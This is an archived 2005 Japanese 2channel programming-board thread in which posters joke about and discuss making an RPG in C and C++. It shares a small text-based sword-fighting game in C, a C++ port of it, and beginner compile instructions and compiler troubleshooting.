1 :
武家諸法度@co.jp :
2005/04/30(土) 13:07:56 作りたい人がきて。
3 :
武家諸法度@co.jp :2005/04/30(土) 13:13:55
こっちでもやろうぜ。
4 :
デフォルトの名無しさん :2005/04/30(土) 13:14:52
やろうぜ
5 :
デフォルトの名無しさん :2005/04/30(土) 13:17:03
int lv; lv += 1; これでも立派な RPG です。
RPGよりプログラミングのほうが面白いよな。 レベルだのレアアイテムだの、どこぞのPGが書いた単なる変数の値に 一喜一憂して何が楽しいんだろ。
7 :
デフォルトの名無しさん :2005/04/30(土) 15:11:03
>>6 それは言いすぎじゃないか?
自分だってどこの誰が書いたコンパイラで一喜一憂しているくせに
みんな何か勘違いしてないか? RPGは言語だぞ!
ロケットランチャーだろ
よくある RPGゲーム という言い方が ある意味皮肉として正しい気がする件
11 :
デフォルトの名無しさん :2005/04/30(土) 23:36:18
AS400のことですか?
13 :
デフォルトの名無しさん :2005/05/01(日) 00:46:16
14 :
12 :2005/05/01(日) 01:01:56
15 :
デフォルトの名無しさん :2005/05/01(日) 01:03:50
>>14 Cではあの位置では初期化不要です
だから、
>>12 のようなこと言うのは
Javaやってるやつかなと・・・
>>15 >Cではあの位置では初期化不要です
おいおい
いつのまにか初期化不要になってたんだ。 全然知らなかった。もうプログラマ引退だな…
グローバルなら初期化わざわざ書く必要はないが、ローカルならちゃんと書かなきゃだめだろ
19 :
武家諸法度@co.jp :2005/05/01(日) 18:57:51
みんなCとC++のどっちやってる?
20 :
デフォルトの名無しさん :2005/05/01(日) 19:04:44
21 :
武家諸法度@co.jp :2005/05/01(日) 19:12:00
>>20 一、文武弓馬の道をもっぱらたしなむこと。・・など
ほかは自分で調べろ。そのほうが勉強になる。
それより、「厨房」ってどうゆう意味?
22 :
武家諸法度@co.jp :2005/05/01(日) 19:14:11
つけたしでCとかをプログラミングするやつって どこでダウンロードするの?
23 :
デフォルトの名無しさん :2005/05/01(日) 19:16:31
Eclipseのプラグインの話をしているのか?
24 :
武家諸法度@co.jp :2005/05/01(日) 19:22:02
25 :
デフォルトの名無しさん :2005/05/01(日) 19:24:39
おれはC言語やっている C++をなぜやらないかと言われても答えを出すのは難しいんだけど・・・ C言語でこと足りるので・・・
26 :
武家諸法度@co.jp :2005/05/01(日) 19:28:36
へぇ〜。じゃ、みんなそうなの?
27 :
デフォルトの名無しさん :2005/05/01(日) 19:31:14
ただし、俺はC言語の他に Java,Perl,PHPができる(shもいれとくか) 1つだけって言うのはさみしいと思うけど・・・
28 :
デフォルトの名無しさん :2005/05/01(日) 19:49:17
>Java,Perl,PHPができる(shもいれとくか) 無料だったら何でもいいってことですか?
C++を使っている。 iostreamとかstd::stringとかがあるからってもの理由に入るだけど、単純にベターCとして使うのも美味い。
30 :
デフォルトの名無しさん :2005/05/01(日) 20:16:35
無料の意味がわかんないけど 逆に有料の言語なんてあるのかな? 例えばLinuxいれたらコンパイラ必要な奴も全部無料だよね
でだ、誰か小規模の設計してくれないか? ついでにOOも教えてくれると・・・ たより過ぎか
32 :
デフォルトの名無しさん :2005/05/01(日) 20:42:02
RPG作ったこと無いし、あまりやったこと無いのでどんな要求があるのかわからない
つうかC++使った方が楽じゃん ゲームタスク組む時とか
わざわざC++で組む意味がわからん。 速度の要求されない部分はもっと楽な言語でいいじゃん。
無料の RPG ってあるの? IBMの汎用機とか買わないと使えないものだと思ってた。
C++使えるのにCだけでやる意味が分からん
37 :
武家諸法度@co.jp :2005/05/02(月) 05:53:04
>>22 の続きで、本当にC++とかダウンロードするとこ教えて。
あと厨房の意味も。
C++そのものはダウンロードできない。逆にいうと、紙と鉛筆やメモ帳さえあればC++は記述できる。
厨房ってのは…
厨房【ちゅうぼう】
食物を調理する所。くりや。台所。調理場。・・など
ほかは自分で調べろ。そのほうが勉強になる。
…といったような、文脈にそぐわないレスを繰り返す人がその一例。
他にも多義に渡るが、総じて肯定的な意味では使われない。
http://www.google.co.jp/ で軽く検索をかければすぐに分かるような簡単な疑問について
恥じることもなく質問する人を含む。
40 :
武家諸法度@co.jp :2005/05/02(月) 16:33:07
>>38 ふーん。じゃ、どーやってC++をプログラミングするの?
キーボードを叩いて。
何この、厨臭漂う糞スレは
何って言われても、みたまんまのスレだよ。
確かに見たままの糞スレとしか言いようがないスレなのは確かなようだが
45 :
武家諸法度@co.jp :2005/05/02(月) 21:00:49
しかたないな・・・ 俺的には、1000いきたいな・・ ま、かいてればそのうちいくし しかも、これはCでRPG作る技術をつけるためのすれだしな
46 :
武家諸法度@co.jp :2005/05/02(月) 21:02:51
48 :
デフォルトの名無しさん :2005/05/02(月) 22:40:47
C++コンパイラは無料でDL可能だよ
>>36 >C++使えるのにCだけでやる意味が分からん
オープンソースにしていろんな環境で使ってもらおうとするときに、
C++で書くと、「どこまで規格準拠したC++なのか」がバラバラで、
結局使えないから。
50 :
デフォルトの名無しさん :2005/05/02(月) 23:07:27
ちなみにC言語はC++より 何かが速い
>>49 >オープンソースにしていろんな環境で使ってもらおうとするときに
そんなRPG聞いた事ないぞ
52 :
デフォルトの名無しさん :2005/05/02(月) 23:14:42
>>51 しぃ〜黙ってて
いま、49が作ってるから
>>18 も認識間違ってると思うのだが、
初期化が必要ないのは static 変数の場合でしょ? Cの場合。
Javaならコンパイル時にエラー。C/C++未経験者もいるみたいなので一応突っ込んでおく。
(゚д゚)・・・・
55 :
デフォルトの名無しさん :2005/05/02(月) 23:45:27
56 :
デフォルトの名無しさん :2005/05/02(月) 23:59:13
(≧∀≦)
>int lv; lv += 1; のように、続けて書いてある時点で、何処に書いてあろうがダウト まぁ、 #define int Hero とかしてあって、+=をオーバーロードしてあれば大丈夫かもしれんが 予約語をプリプロセッサに掛けた事はないので、どうなるかは知らないが…
58 :
31 :2005/05/03(火) 00:32:23
59 :
デフォルトの名無しさん :2005/05/03(火) 06:39:57
俺、武家諸法度からフォルトの名無しさんになった
60 :
デフォルトの名無しさん :2005/05/03(火) 06:41:01
つーかだれかRPGつくれよ
つーか全員ゲ作成技術板行けよ
62 :
(・∀・)作ってミターヨ :2005/05/03(火) 10:48:48
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> void pause(void){printf("ENTER> ");fflush(stdout);fgetc(stdin);}int d100(void){return rand()%100;} int main(void){int hp=20,lv=1,exp=0,hour=0,day=1,mode=1,d,e_hp,e_lv;char s[256],*e_name;srand (time(NULL));printf("You're a Sword Master wannabee.\nFight and get experienced!\n");pause(); while(lv<6&&hp>0&&!feof(stdin)){printf("\nStatus: HP=%d, Lv=%d, Exp=%d\n",hp,lv,exp,day); printf("Command? ");fflush(stdout);fgets(s,256,stdin);switch(mode){case 0:/*FIGHTING*/ if(!strncmp(s,"attack",6)){d=d100();if(d<lv*2+50){if(d<5+lv){printf("CRITICAL HIT!!\n"); d=lv*10+d100()%10;}else{printf("Hit!!\n");d=lv+d100()%5;}printf("You gave %d point%s of damage to the %s!!\n", d,d>1?"s":"",e_name);e_hp-=d;if(e_hp<=0){pause();printf("You defeated the %s!\n",e_name);pause(); d=d100()%e_lv+5;printf("You got %d point%s of experience!!\n",d,d>1?"s":"");exp+=d;if(lv==exp/20){pause(); printf("LEVEL UP!!\n");pause();lv++;if(lv<6)printf("You're now Sword Master wannabee Level %d!! (max HP=%d)\n", lv,lv*20);}mode=1;break;}}else{printf("Missed!!\n");}enemy:pause();if(e_hp>0){printf("The %s's attack!!\n", e_name);pause();d=d100();if(d<e_lv*3+28){printf("Hit!!\n");pause();d=d100()%(e_hp/2+1)+e_lv;
63 :
(・∀・)作ってミターヨ :2005/05/03(火) 10:50:12
printf("You got %d point%s of damage!!\n",d,d>1?"s":"");hp-=d;}else{printf("Missed!!\n");}}}else if(!strncmp(s,"escape",6)){d=d100();if(d<33){printf("Miss!!\n");goto enemy;}else{printf("You escaped!!\n"); mode=1;}}else{printf("Help:\n attack\n escape\n");}if(hp<=0){printf("\nYou died.\n");}break;case 1:/*FIELD*/ if(!strncmp(s,"walk",4)){d=d100();if(d<25){char *enemies[]={"Slime","Draky","Ghost","Skelton","Scorpion", "Knight","Golem","Dragon"};printf("You encoundered an enemy!!\n");pause();e_lv=d100()%4+lv;e_hp=e_lv*3+d100()%3; e_name=enemies[e_lv-1];printf("It's a %s!! (HP=%d)\n",e_name,e_hp);mode=0;}else{printf("You walked.\n");hour++; }if(hp<lv*20)hp++;}else if(!strncmp(s,"rest",4)){printf("You rested.\n");hp+=d100()%5+1;if(hp>lv*20)hp=lv*20; hour+=3;}else{ printf("Help:\n walk\n rest\n");}if (hour>=12){day++;hour-=12;printf("\n*** Day %d ***\n", day); pause();}break;}}if(lv==6)printf("\nYou're now *real* Sword Master!! (%d days)\nConglaturations!!\n", day); printf("\n*** Game Over ***\n");}
64 :
(・∀・)作ってミターヨ :2005/05/03(火) 10:59:47
《取扱説明書》 藻前様は見習い剣士だよ。戦って経験値をうp汁! 歩くとモンスターに遭うよ。戦うか逃げるか汁! 歩くとHPが回復するよ。休むとHPが多めに回復するよ。 ただし時間も多めに過ぎる諸刃の剣。玄人にはお勧めできない。 EXPが100までたまると剣士に認定だよ。 一緒にレベルもうpするよ。敵も強くなるよ。 できるだけ少ない日数でクリア汁!
キタネェナ
66 :
(・∀・)作ってミターヨ :2005/05/03(火) 11:14:07
cbコマンドかGNU indentで展開汁!(笑
67 :
デフォルトの名無しさん :2005/05/05(木) 18:29:55
?C以外のなんだというのか
69 :
デフォルトの名無しさん :2005/05/05(木) 20:07:55
C++とWin32APIで作ってみたいんだけど… 「右クリックを押す」でもタイトル画面の時、フィールド画面の時、戦闘画面の時、 それぞれ挙動がちがうけど、みんなどうやって制御してる? 状態を表す変数をドコで保存すればいいのやら…。 グローバル変数で制御するなんてもってのほかだし。 メッセージを受け取ってイベントを制御するクラスを作って、 そのクラスに状態を表す変数を保存すればいいのでしょうか?
それがわからんようじゃ無理
>>69 MFCやWTLみたいなクラスライブラリを使っていれば、
当然ウィンドウを示すクラスがあるだろうからそのメンバ変数で状態を管理すればよい。
そういうのを使っていなければSetWindowLongPtr()やSetProp()で自前のクラスを保持すればいい。
(WM_CREATEなどでnew、WM_DESTROYなどでdelete)
>>69 ルーチン毎に、コールバックの種類を変えるか、
コールバックを呼び出す位置を変えるかかな。
73 :
デフォルトの名無しさん :2005/05/06(金) 07:59:59
突然でわるいんだが、Cはどこでプログラミングすんの?
74 :
デフォルトの名無しさん :2005/05/06(金) 08:05:24
windows2000のコンソールだとエスケープシーケンスで文字消せないんだけど何か方法ない?
75 :
デフォルトの名無しさん :2005/05/06(金) 08:29:06
>>74 カーソルが行頭に戻るだけでいいなら'\r'
>>76 ありがとう
一次元RPG作れそうな気がしてきた
>>73 好きな所でしろ。
こたつの中でも便所の中でも、
お好みでどうぞ。
81 :
デフォルトの名無しさん :2005/05/06(金) 16:00:35
>>79 おまえはあの世でしな
ほんとCはどこでプログラミングすんのかおしえて
ところでC言語でRPGって作れるの?
83 :
デフォルトの名無しさん :2005/05/06(金) 16:40:55
の
作れますが何か
とりあえずサンプルを作ったからこれから改造してみれば? int main(void){ printf("勇者は3ポイント経験値を得た"}; }
int main(void){ printf("勇者は3ポイント経験値を得た\n"}; printf("レベルがあがった!\n"}; }
かっこ悪い。
88 :
デフォルトの名無しさん :2005/05/06(金) 18:01:33
>>81 の続き
まじでCはどこでプログラミングすんのかおしえろ
しかとすんな
頭の中
>>88 コンピュータの中
テキストエディタでコードを書きコンパイラでコンパイルし実行する。
この作業の無限ループがプログラミング。
91 :
デフォルトの名無しさん :2005/05/06(金) 18:18:27
まあ、パリでなくてもローマでもいいんじゃない?
とりあえず日本はやめたほうがいいな。
ローマは一日にして成らず、だからなあ
全ての道はローマに通じるから、日本でも大丈夫。やったね!
>>64 すごいです。
アルゴリズムも感動。
一週間でクリアしました(面白かった)
97 :
(・∀・)作ってミターヨ :2005/05/07(土) 14:00:53
作った甲斐があった。レスありがd
>>97 8日でクリアしました。面白かったっす。
というか、このゲームをやるためにBCCを入れました。
ゲームより何より、某ランドの登録が一番面倒くさかった…。
99 :
デフォルトの名無しさん :2005/05/07(土) 16:24:34
>>97 ごめん、俺もすごくやりたいんだが、
どこでじっこうするかわかんねー。
100 :
(・∀・)作ってミターヨ :2005/05/07(土) 16:41:55
>>98 意外に好評でビクーリ。ありがd
>>99 1.DOS窓を開く。
2.notepad rpg.c と入力してメモ帳を開く(ファイル名はテキトー)。
3.
>>62-63 のソースをコピペして保存する。
4.bcc rpg.c と入力してコンパイルする(rpg.exe ができる)。
5.rpg と入力して実行する。
Borland のCコンパイラじゃなく VC++ なら bcc の代わりに cl を使う。
101 :
デフォルトの名無しさん :2005/05/07(土) 19:31:55
>>100 4・5の作業が不明だけど・・
あと、コンパイルってなに
すいまそん・・わからないことだらけで・・
こんぱいるしてsauceと呼ぶテキストファイルをOSで実行可能な形式に変換する "いんたぷりた"ならテキスト形式を解釈しながら実行するが
…sourceな
Hunger is the best sauce 空腹に勝る調味料はない
>102 source code 【コンピュータ】ソース・コード ((高級言語によって記述されたプログラム)).
106 :
デフォルトの名無しさん :2005/05/07(土) 20:45:39
>>62 すげ〜
かなりわかりやすいソースですね
参考までに年齢&PG経験年数&職歴を教えてくれませんか?
107 :
デフォルトの名無しさん :2005/05/07(土) 20:47:43
108 :
(・∀・)作ってミターヨ :2005/05/08(日) 09:42:21
>>106 三十路のオサーン&リア工以来&院出てPDです。
そろそろ名無しに戻るね。ノシ
109 :
デフォルトの名無しさん :2005/05/08(日) 12:39:06
110 :
106 :2005/05/08(日) 20:07:51
>>108 どうもっす。
俺もがんばろ〜っと
また作ってね。
みんなもうクリアしたのかよ
112 :
デフォルトの名無しさん :2005/05/09(月) 06:31:05
こうゆうスレなのに、ゲーム系のコード書く人少ないよね・・・・・ (そうゆう俺もそう)
もともと板違いのネタスレだからね。
114 :
デフォルトの名無しさん :2005/05/09(月) 07:18:50
ところで(・∀・)作ってミターヨ さんって、なんかそうゆう系統の会社についてるんですか?
>>114 いや、完全にアマチュア(というかド素人)です。
116 :
デフォルトの名無しさん :2005/05/09(月) 19:32:41
うそーマジで?そのようには見えないが。
117 :
デフォルトの名無しさん :2005/05/10(火) 19:20:19
Cとかって、けっこう難しそう・・・
この至言を与えよう(・∀・)っ[習うより慣れろ]
結局、最終的に行き着く事はツ(ク)ール作りなのであった。
120 :
デフォルトの名無しさん :2005/05/10(火) 22:50:57
なんかRPG作りたくなったのでやってきましたよ
#include <iostream> #include <string> #include <cstdlib> #include <ctime> using std::rand;using std::cin;using std::cout;using std::endl;using std::string;int r_gen(int); class Player {int hp,lv,exp;public:Player(){hp=20;lv=1;exp=0;}int level(){ return lv;}bool isalive(){ return hp>0;}void addHp(int d){hp+=d; if(hp>lv*20)hp=lv*20;}bool lowHp(){return hp<lv*20;}void levelUp(); void gain(int d);void damaged(int d);void displayCondition();};class Time { int hour; int day; public: Time(){hour=0;day=1;}int getDay(){return day;}void spends(int h);};class State {public: virtual State* process(const string command, Player& p, Time& t)=0;virtual string message()=0;}; class Field : public State { public: Field(){} State* process(const string command, Player& player, Time& t);string message(){ return "Now, you are in the field.";}};class Fighting : public State { int monster,lv,hp;public: Fighting(int level){lv=r_gen(4)+level;hp=lv*3+r_gen(3);} string message(){return "Now, you are fighting!!!";} string getName(){ const std::string name[]={"Slime","Draky","Ghost","Skelton","Scorpion", "Knight","Golem", "Dragon"};return name[lv-1];}int level(){return lv;}int getHp(){return hp;}void displayCondition(); void damage(int d); bool defeated(){return hp<=0;} bool playersTurn(Player& player); void enemiesTurn(Player& player);State* process(const string command, Player& player,Time& t);}; int r_gen(int range){return (int) ((double)range*rand()/(RAND_MAX+1.0));}void Player::gain(int d){ cout << "You have gotten " << d << ((d>1)?" points ":" point " ) << "of experience!!" << endl; exp+=d; if(lv<=exp/20) levelUp();}void Player::levelUp(){cout << "LEVEL UP!!" << endl; lv++; if(lv<6) cout << "You're now a Level " << level() << " Sword Master wannabe !! (max HP=" << level()*20 << ")" << endl;}
void Player::damaged(int d){ cout << "You got " << d << ((d>1)?" points":" point")<< " of damage!!" << endl; hp-=d;}void Player::displayCondition(){cout << "Status: HP=" << hp << ", Lv=" << lv << ", Exp=" << exp << endl;} void Time::spends(int h){hour+=h;if(hour>=12){day+=(hour/12); hour%=12;cout << "*** Day " << day << " ***" << endl;}}State* Field::process(const string command, Player& player, Time& time){if(command=="walk") {if(r_gen(4)==0){Fighting* f=new Fighting(player.level());cout << "You have been encountering an enemy!!" << endl;f->displayCondition();return f;}else{cout << "You have walked." <<endl;time.spends(1);if(player.lowHp()) player.addHp(1);}}else if(command=="rest"){cout << "You are resting..." << endl;player.addHp(r_gen(5)+1); time.spends(3);}else cout << "Choose command: walk, rest" << endl;return this;} void Fighting::displayCondition(){cout << "It's a " << getName() << "!! (HP=" << hp << ")" << endl;} void Fighting::damage(int d){cout << "You have given " << d << ((d>1)?" points":" point" )<< " of damage to the " << getName() << "!!" << endl;hp-=d;}bool Fighting::playersTurn(Player& player){int d; d=r_gen(100);if(d>=lv*2+50){cout << "Missed!!" << endl;return false;}if(d<5+lv){cout << "CRITICAL HIT!!" << endl; damage(player.level()*10+r_gen(10));}else{cout << "Hit!!" << endl;damage(player.level()+r_gen(5));} if(defeated()){cout << "You have defeated the " << getName() << "!" << endl;player.gain(r_gen(level())+5); return true;}return false;}void Fighting::enemiesTurn(Player& player){int d;cout <<" Now, " << getName() <<
" is attacking!!" << endl;d=r_gen(100);if(d>=lv*3+28){cout << "You have avoided its attack!!" << endl;}else{ cout << "You have damaged" << endl;player.damaged(r_gen(getHp()/2+1)+level());}} State* Fighting::process(const string command, Player& player, Time& time){if(command=="attack"){ if(playersTurn(player))return new Field();enemiesTurn(player);return this;}else if(command=="escape"){ if(r_gen(3)==0){cout << "You missed escaping!!" << endl;enemiesTurn(player);return this;}else{cout << "You have succeeded in escaping!!" << cout;return new Field();}}else{cout << "Choose command: attack, escape" << endl;return this;}}main(){std::srand (std::time(NULL)); string command;State *currentState, * newState; Player player;Time time;cout << "You're a Sword Master wannabee." << endl<< "Fight and get experienced!" << endl; currentState= new Field();cout << currentState->message() << endl;while(player.level()<6&& player.isalive()){ player.displayCondition();cout << "Enter command: ";if(cin >> command){ newState = currentState->process(command,player,time);if(currentState!=newState){delete currentState; currentState=newState;cout << currentState->message() << endl;}}else break;}if(player.level()==6) cout << "You're now *real* Sword Master!! (" << time.getDay()<< " days)" << endl<< "Conglaturations!!" << endl; cout << endl << "*** Game Over ***" << endl;}
>>121 using namespace std;の方が文字数を削れると思うけど
節約が目的ではないのでは
126 :
デフォルトの名無しさん :2005/05/11(水) 12:32:17
保守
127 :
デフォルトの名無しさん :2005/05/11(水) 13:28:49
C++って、どうやって実行するの?できれば詳しく。
128 :
デフォルトの名無しさん :2005/05/11(水) 13:32:35
>>127 基本的には C と同じ。
ファイル名を rpg.cpp にするだけであとは
>>100 と同じようにしてみて。
ゲーム内容にはノータッチでしょ? ずいぶん太るんだな。
131 :
GreatFixer ◆ASWqyCy.nQ :2005/05/11(水) 18:00:24
Re:
>>12 変数の初期化しないと警告が出る場合があるけど、コンパイルエラーにはならない。
Re:
>>35 WWA.
Re:
>>36 数値計算とか単純な文字列処理とかだけだとCだけで十分だったりする。
Re:
>>50 プログラマに成り上がるのが早い。
Re:
>>53 エラーと警告を混同しないようにしてくれ。
Re:
>>62-64 これはまたすごいソースだ。
Re:
>>82 RPGとは何か?
Re:
>>101 bcc.exeが使える状態で、bcc rpg.cがコンパイルのコマンド。
Re:
>>121-123 2chだからソースが読みにくいのは仕方の無いことか。
Re:
>>127 ソース(source)を書いて適当なファイル名をつける。ここではfile.Cと名前がついているとしよう。gcc.exeが使えるなら、gcc file.Cと入力してできた実行ファイルを実行。dmc.exeが使えるなら、dmc file.Cと入力してできた実行ファイルを実行。
ということで、めでたくこのスレ終了ですか
133 :
デフォルトの名無しさん :2005/05/11(水) 19:18:27
>>129 まじめに出来ないのだが・・どうしよ・・
>>133 もしかしてLSI-CとかC/C++コンパイラじゃないのを使っている?
135 :
GreatFixer ◆ASWqyCy.nQ :2005/05/11(水) 22:29:05
Re:
>>133 初めの質問、Cコンパイラは持ってる?
136 :
GreatFixer ◆ASWqyCy.nQ :2005/05/11(水) 22:36:21
最近のボーランドのやつはbcc32.exeだ。 32ビットプログラム(正式名称が分からない)を生成する奴。
CをRPGにクロスコンパイルするのかとオモタ
>>129 127ではないが、VCでコンパイルしたらエラーでた
cl rpg.cpp で実行するとこんなワーニングが出たから
C:\Program Files\Microsoft Visual Studio\VC98\include\istream(547) :
warning C4530: C++ 例外処理を使っていますが、アンワインド セマンティクスは有効にはなりません。-GX を指定してください。
cl /GX rpg.cpp ってしたら
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.
rpg.cpp
rpg.cpp(5) : error C2039: 'rand' : 'std' のメンバではありません。
rpg.cpp(5) : error C2873: 'rand' : シンボルを using 宣言の中で使用することはできません。
rpg.cpp(43) : error C2039: 'srand' : 'std' のメンバではありません。
rpg.cpp(43) : error C2039: 'time' : 'std' のメンバではありません。
rpg.cpp(50) : warning C4508: 'main' : 関数に戻り値の型が指定されていません。戻り値を void 型と見なします。
となりますた(´・ω・`)
140 :
デフォルトの名無しさん :2005/05/12(木) 17:48:19
なんかライブラリの指定がいるんじゃね? -lc が必要とか、そういうオチ?(違うと思うけど)
>>139 を見て俺もやってみたよ
オプションなしだと
>>139 と同じだたが
>cl -GX rpg.cpp
Microsoft(R) 32-bit C/C++ Optimizing Compiler Version 13.10.3077 for 80x86
Copyright (C) Microsoft Corporation 1984-2002. All rights reserved.
rpg.cpp
Microsoft (R) Incremental Linker Version 7.10.3077
Copyright (C) Microsoft Corporation. All rights reserved.
/out:rpg.exe
rpg.obj
無事作成できました。
VCのバージョンで cstdlib の中身が恐ろしく違うな、これが原因か
143 :
デフォルトの名無しさん :2005/05/12(木) 18:54:06
みなさんレポートありがとう。 cl version 12 は ANSI C++ には準拠してなくて 13 から準拠したと思えばいいのかな? 私は g++ を使ったけど、 cin を使うだけで割り込みの警告が出たりはしませんでした。
ググルさんからアク禁でも喰らっているのか?
146 :
GreatFixer ◆ASWqyCy.nQ :2005/05/12(木) 19:22:01
Re:
>>143 ソースを読み込んで実行ファイルを作るもの。(本当は違うが。)
147 :
デフォルトの名無しさん :2005/05/13(金) 06:23:06
コンパイラ不明
148 :
デフォルトの名無しさん :2005/05/13(金) 14:08:12
まったくをもってしても不明。 意味わかんない
149 :
デフォルトの名無しさん :2005/05/14(土) 11:30:11
RPG以外のゲームって作れる?
150 :
デフォルトの名無しさん :2005/05/14(土) 12:01:20
作れる?
作れる。
152 :
デフォルトの名無しさん :2005/05/14(土) 14:36:13
世の中のゲームはほとんど全部C/C++言語で作られています
ばか、それは大昔の話だよ。 今はほとんどHSPで作られてる。
Ω ΩΩ<ナ、ナンダッテー!
昔はBASIC、今はFLASHが多い プログラムonlyでやってきた人はFLASHの実力にまだ気づいてないからチャンスだよ
156 :
GreatFixer ◆ASWqyCy.nQ :2005/05/14(土) 20:07:27
C言語でアクションゲームを作れるかというと、 ごく一部の人しかできないだろうと思い込んでいるのは私だけか?
品質次第だろう。
ゲーム向けのライブラリってロクなのないからな
周期的な描画と、表示する絵さえ用意できれば、さほど難しいこともない。
160 :
デフォルトの名無しさん :2005/05/15(日) 00:32:48
CreateGame〜陸海空オンライン〜 日本最大MMO製作プロジェクト始動! 有志による企画です。3Dグラフィッカーの参加急募!w
>>160 そこ全然募集してないじゃん、2ちゃんねる内じゃないし
162 :
デフォルトの名無しさん :2005/05/15(日) 08:03:00
3DRPGって、つくんのムズイ?
>>162 簡単ならフリーの3DRPGが沢山あるはずだが
実際はほとんど無い。つまりそこそこムズイと思われ。
3Dには数学的なことが多いからな
ソフト高いよ
少ないのは3DRPGツクールが無いからじゃね?
それに3Dゲームはウケが悪いよ
2ちゃんねるでRPG作ろうって話が盛り上がっても2Dにしたがるし
>>165 同意
メタセコやブレンダーじゃやってられんし
ツクールがあれば当然増えるだろな > 月に行くのってムズイ? > 行った人少ないから、ムズイだろ > 月に行った人が少ないのは自家用ロケットが無いからじゃね? と同じような話だが
168 :
デフォルトの名無しさん :2005/05/15(日) 18:09:45
おまえらが2Dのツクールしか知らないことはよくわかった
169 :
デフォルトの名無しさん :2005/05/15(日) 18:33:03
よし、じゃあ次作は3Dにする(豪語
プログラムもそうだがデータ作る難易度とコストも高いしな>3D
171 :
デフォルトの名無しさん :2005/05/15(日) 19:01:17
一度環境整えば3Dのほうが楽だがな
個人でやるなら2Dはきつくね?
173 :
デフォルトの名無しさん :2005/05/15(日) 19:32:21
御託はいいから作って晒せ。
174 :
デフォルトの名無しさん :2005/05/15(日) 20:05:51
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。 ウイルス、ハッキング・クラッキングを求めるような発言は禁止です。 Javascript は Web 制作板、CGI は Web プログラミング板へ。 業界談義、愚痴はプログラマ板へどうぞ。 ゲーム関係の話題はゲーム製作板へどうぞ。 ネタ、板とは関係の無い話題はご遠慮ください。
175 :
GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 20:15:41
コンピュータが何かの処理をしながら入力も受け付けるという状態を作る方法が分かれば何とかなりそうなのだが、 巷にあるプログラミングの解説ではそういう話を聞くことがほとんどない。
>>175 入力←┐
↓ │
処理 │
↓ │
表示 │
└──┘
ゲームプログラムの基本だが。
WindowsならPeekMessageでも使っとけ
そこでマルチスレッドですよ ってそのほうがめんどくさいけどな
179 :
デフォルトの名無しさん :2005/05/15(日) 20:48:59
処理をウィンドウズに返さないといけないのが癌 入門ならコンシューマプログラミングしたほうがいい エミュレータや資料、ツールもウィンドウズでやるより充実してる
180 :
GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 21:01:07
Re:
>>176 それでスーパーマ■オブラザーズのようなゲームはどうやって作るの?それとも「入力」と書いた部分に何か特別な意味があるの?
181 :
デフォルトの名無しさん :2005/05/15(日) 21:03:20
183 :
GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 21:52:40
Re:
>>182 JavaScriptとかHSPならできそうだけど、C++でやれといわれても私にはできない。(プロならできるんだろうけど。)
184 :
デフォルトの名無しさん :2005/05/15(日) 22:00:10
3DRPG作りたいのだが、まったくの初心者どす。 どこでプログラムするか教えて。(詳しく) プログラムの技術も。
>>183 ANSI C/C++の範囲では無理。
Windowsの窓が開くやつならGetAsyncKeyStateなどを使ってみるとか。
187 :
GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 22:13:19
アクションゲームを何か別の方法で作ってC言語でそれを呼び出してみるとか。
188 :
GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 22:14:09
JavaScriptを実装するのにはたぶんC/C++が使われていると思う。
HSPを実装するのにはたぶんC/C++が使われていると思う。
ツクールを実装するのにはたぶん(ry
こんな具合で結局C/C++へ行き着くと思う。
>>190 「違う、アセンブリだ機械語だ」とか言うんだろ。どうせ
190 :
GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 22:24:20
Re:
>>189 HSPはVCから作られているそうだ。
191 :
デフォルトの名無しさん :2005/05/15(日) 22:24:27
ゲーム作るのってどのくらいかかる?
192 :
GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 22:25:22
アセンブリなら何でもできるだろうけど…。
193 :
GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 22:26:31
Re:
>>191 たとえば百マス計算を作るとしたら10分間〜1時間ぐらいかな?いろいろなセリフがあるRPGは当然何日かかかる。
194 :
GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 22:27:56
いや、セリフだけなら半日くらいで終わるだろうな。 システムやルールの構成に半端じゃない時間がかかるかもしれない。
195 :
GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 22:30:42
商用のRPGなら、グラフィック、サウンドにさらに時間がかかる。 (当然分業でやるだろうけど。)
大した技術力もないのに想像でモノを言うなよ・・・・
197 :
GreatFixer ◆ASWqyCy.nQ :2005/05/15(日) 22:36:42
199 :
デフォルトの名無しさん :2005/05/15(日) 23:02:01
質問いいかな 3Dマップをメタセコで作って表示するところまではできた でも、マップが大きいと処理落ちしてしまう どうすれば快適に表示できる?
シナリオどーすんの
いらないよ
203 :
デフォルトの名無しさん :2005/05/16(月) 01:24:19
>>203 超遠くのほうのオブジェクトにポリゴン大量に使っても無駄だし
自分の後ろにあったり建物の陰になって見えないオブジェクトなんか描画したって意味ないでしょ?
205 :
デフォルトの名無しさん :2005/05/16(月) 02:47:25
見えないとこなんて表示しようがないと思うが たぶん描画命令の回数を減らせってことでしょ? 今はメタセコで作ったから1個のオブジェクトになってて部分表示なんてできないけど これ分割しとけってこと?
視錘台 カリング でぐぐれ。 分割しとけ。
207 :
デフォルトの名無しさん :2005/05/16(月) 03:27:50
考え方はだいたいわかったけど具体的にどうやるの?
それを考えたり、調べたりするのがプログラミングの楽しみの一つじゃないか?まぁ苦痛の一つでもあるけどさ 自分ではどんな実装を考えたんだ?
209 :
デフォルトの名無しさん :2005/05/16(月) 13:54:08
メタセコで分割するのは面倒すぎるのでまずはプラグイン作成かなと
210 :
Be名無しさん :2005/05/16(月) 21:20:22
211 :
デフォルトの名無しさん :2005/05/16(月) 22:13:50
もうだめぽ・・・ RPGつくれない・・ というより音楽とかグラフィックもCでやるの? RPG作りって、結構時間かかるみたいだけど、一人で作ったことある人は どのくらいかかったか教えて
212 :
デフォルトの名無しさん :2005/05/16(月) 22:50:34
つーか、へなちょこなRPGならHSPで作るべきだろ。
>>211 いきなり大きなものを作ろうとしてない?
背伸びしないで最初は規模の小さなところから始めてみたら?
>>62-64 は、コーディング、テストプレイ、バランスの調整を含めて3時間ぐらいでした。
